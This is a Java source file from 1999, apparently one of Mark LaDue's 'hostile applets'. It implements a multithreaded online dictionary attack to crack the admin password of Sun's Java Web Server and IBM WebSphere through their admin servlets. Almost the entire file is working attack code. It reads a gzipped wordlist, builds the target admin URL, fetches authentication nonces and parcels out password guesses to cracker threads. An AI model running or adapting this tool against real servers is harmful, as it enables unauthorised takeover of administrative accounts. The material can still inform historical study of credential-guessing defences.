/* CrackAdmin.java */ /* February 14, 1999 */ /* Copyright (c) 1999 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* Author: Dr. Mark D. LaDue Home Page: http://www.rstcorp.com/hostile-applets/index.html */ /* This simple utility can be used to mount an on-line dictionary attack and crack the admin password of Sun's Java Web Server and IBM's WebSphere. It makes use of their handy admin servlets, which can be found by using the AdminScanner utility. */ import java.io.*; import java.net.*; import java.util.*; import java.util.zip.*; public class CrackAdmin { // Who's the target host? private static String JWSHost = null; // What's the port for its admin servlet? private static int JWSPort = 0; // What's the URL for its admin servlet? private static URL JWSURL = null; // What's our currently valid nonce? private static String currentNonce = null; // Where do we find the gzipped dictionary to use? private static String gzippedDict = null; // What words have we extracted from the dictionary? private static Vector dictionary = new Vector(); // What's the maximum number of Threads allowed to be active? private static int maxActive = 10; // How many words should each Thread test? private static int perThread = 1000; // How many Threads are currently active? private static int active = 0; // How many seconds should we sleep if too many Threads are active? public static final int SLEEPTIME = 1; public static void main(String[] argv) { if (argv.length != 5) { complainAndQuit(); } try { // Set the target host and port - determine these by running AdminScanner JWSHost = argv[0]; JWSPort = Integer.parseInt(argv[1]); // Set the dictionary file name gzippedDict = argv[2]; // Set the maximum number of active Threads maxActive = Integer.parseInt(argv[3]); // Set the number of attempted cracks per Threads perThread = Integer.parseInt(argv[4]); } catch (Throwable thr) { thr.printStackTrace(); complainAndQuit(); } if (JWSPort < 1 || JWSPort > 65535) { System.out.println("\nThe port number is out of range"); complainAndQuit(); } if (maxActive <= 0) { System.out.println("\nThe maximum number of active Threads is out of range"); complainAndQuit(); } if (perThread <= 0) { System.out.println("\nThe number of attempts per Thread is out of range"); complainAndQuit(); } // Set up the dictionary try { // Be sure to try the silly default dictionary.addElement("admin"); System.out.println("\nReading dictionary entries from " + gzippedDict + "..."); BufferedReader br = new BufferedReader(new InputStreamReader(new GZIPInputStream(new FileInputStream(gzippedDict)))); StreamTokenizer toker = new StreamTokenizer(br); toker.resetSyntax(); toker.whitespaceChars('\u0000', '\u0020'); toker.wordChars('\u0021', '\uffff'); while (toker.nextToken() != StreamTokenizer.TT_EOF) { dictionary.addElement(toker.sval); } br.close(); System.out.println("\nRead " + (dictionary.size() - 1) + " entries from " + gzippedDict); } catch (Throwable thr) { System.out.println("\nWe had a little problem reading the dictionary."); thr.printStackTrace(); complainAndQuit(); } // Create the URL for the target web server try { JWSURL = new URL("http://" + JWSHost + ":" + Integer.toString(JWSPort) + "/servlet/admin"); } catch (MalformedURLException murle) { System.out.println("\nImproper URL formed from " + JWSHost + " and " + JWSPort); complainAndQuit(); } System.out.println("\nTarget URL set to " + JWSURL.toString()); // Initialize the nonce getNonce(1); // Determine the number of Threads so that each Thread will test perThread passwords int maxThreadInd = dictionary.size() / perThread; int nextThreadInd = 0; System.out.println("\nDeploying " + (maxThreadInd + 1) + " Threads to test " + dictionary.size() + " passwords"); System.out.println("\nAllowing at most " + maxActive + " active Threads at any time"); System.out.println("\nEach Thread will test " + perThread + " passwords\n"); while (nextThreadInd <= maxThreadInd) { // Sleep a bit if too many Threads are active while (activeStep(0) > maxActive) { try { Thread.currentThread().sleep(1000*SLEEPTIME); } catch (InterruptedException ie) {} } // Clean up every once in a while to keep Windows NT from getting hosed if ((nextThreadInd + 1) % (2*maxActive) == 0) { System.out.println("\n(" + (nextThreadInd + 1) + ") Running Finalization and Garbage Collection..."); System.runFinalization(); System.gc(); } // Parcel out dictionary words to the next cracker Thread AdminCracker cracker = new AdminCracker(JWSURL, perThread*nextThreadInd, perThread*nextThreadInd + (perThread - 1)); Thread crackerThread = new Thread(cracker, "AdminCracker-" + Integer.toString(nextThreadInd)); if (crackerThread != null) { crackerThread.start(); } nextThreadInd++; } } /* Manipulate the admin servlet to get a nonce */ private static synchronized boolean updateNonce() { // Tools for getting a nonce URLConnection JWScon = null; PrintWriter JWSpw = null; InputStream JWSin = null; BufferedReader br = null; String version = null; String success = null; boolean updatedNonce = false; try { // Request a nonce from the admin servlet JWScon = JWSURL.openConnection(); JWScon.setDoOutput(true); JWScon.setUseCaches(false); JWScon.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); JWSpw = new PrintWriter(JWScon.getOutputStream()); JWSpw.print(getNonceURLEncoding("acl", "getAuthScheme")); JWSpw.flush(); JWSpw.close(); // What did the admin servlet say? JWSin = JWScon.getInputStream(); br = new BufferedReader(new InputStreamReader(JWSin)); version = br.readLine(); br.readLine(); success = br.readLine(); // If lines 1 and 3 loook good, the nonce appears on line 4 if (version.startsWith("Version:") && success.startsWith("success")) { StringTokenizer toker = new StringTokenizer(br.readLine()); currentNonce = toker.nextToken(); updatedNonce = true; System.out.println("\nNonce set to " + currentNonce); } br.close(); } catch (Throwable thr) { System.out.println("\nNonce update failed."); } return updatedNonce; } /* Set and get the global nonce */ static synchronized String getNonce(int type) { switch (type) { case 1: updateNonce(); return currentNonce; case 0: return currentNonce; default: return currentNonce; } } /* Make the query String for getting a nonce */ private static String getNonceURLEncoding(String cl, String m) { StringBuffer buf = new StringBuffer(); buf.append("class="); buf.append(URLEncoder.encode(cl)); buf.append("&method="); buf.append(URLEncoder.encode(m)); return buf.toString(); } /* Get a dictionary word - no need for synchronization since we're only reading. */ static String getDictWord(int index) { if (index < 0 || index >= dictionary.size()) { return "admin"; } else { return (String)dictionary.elementAt(index); } } /* How big is our dict? */ static int getDictSize() { return dictionary.size(); } /* Manipulate the count of Threads that are currently active */ static synchronized int activeStep(int step) { switch (step) { case -1: return active--; case 1: return active++; case 0: return active; default: return active; } } private static void complainAndQuit() { System.out.println("\nUsage: java CrackAdmin hostname port dictionary.gz active attempts"); System.out.println(" Where 0 < port < 65536, dictionary.gz is a gzipped file"); System.out.println(" of words, active is the maximum number of active Threads"); System.out.println(" allowed, and attempts is the number of attempts per Thread"); System.exit(-1); } }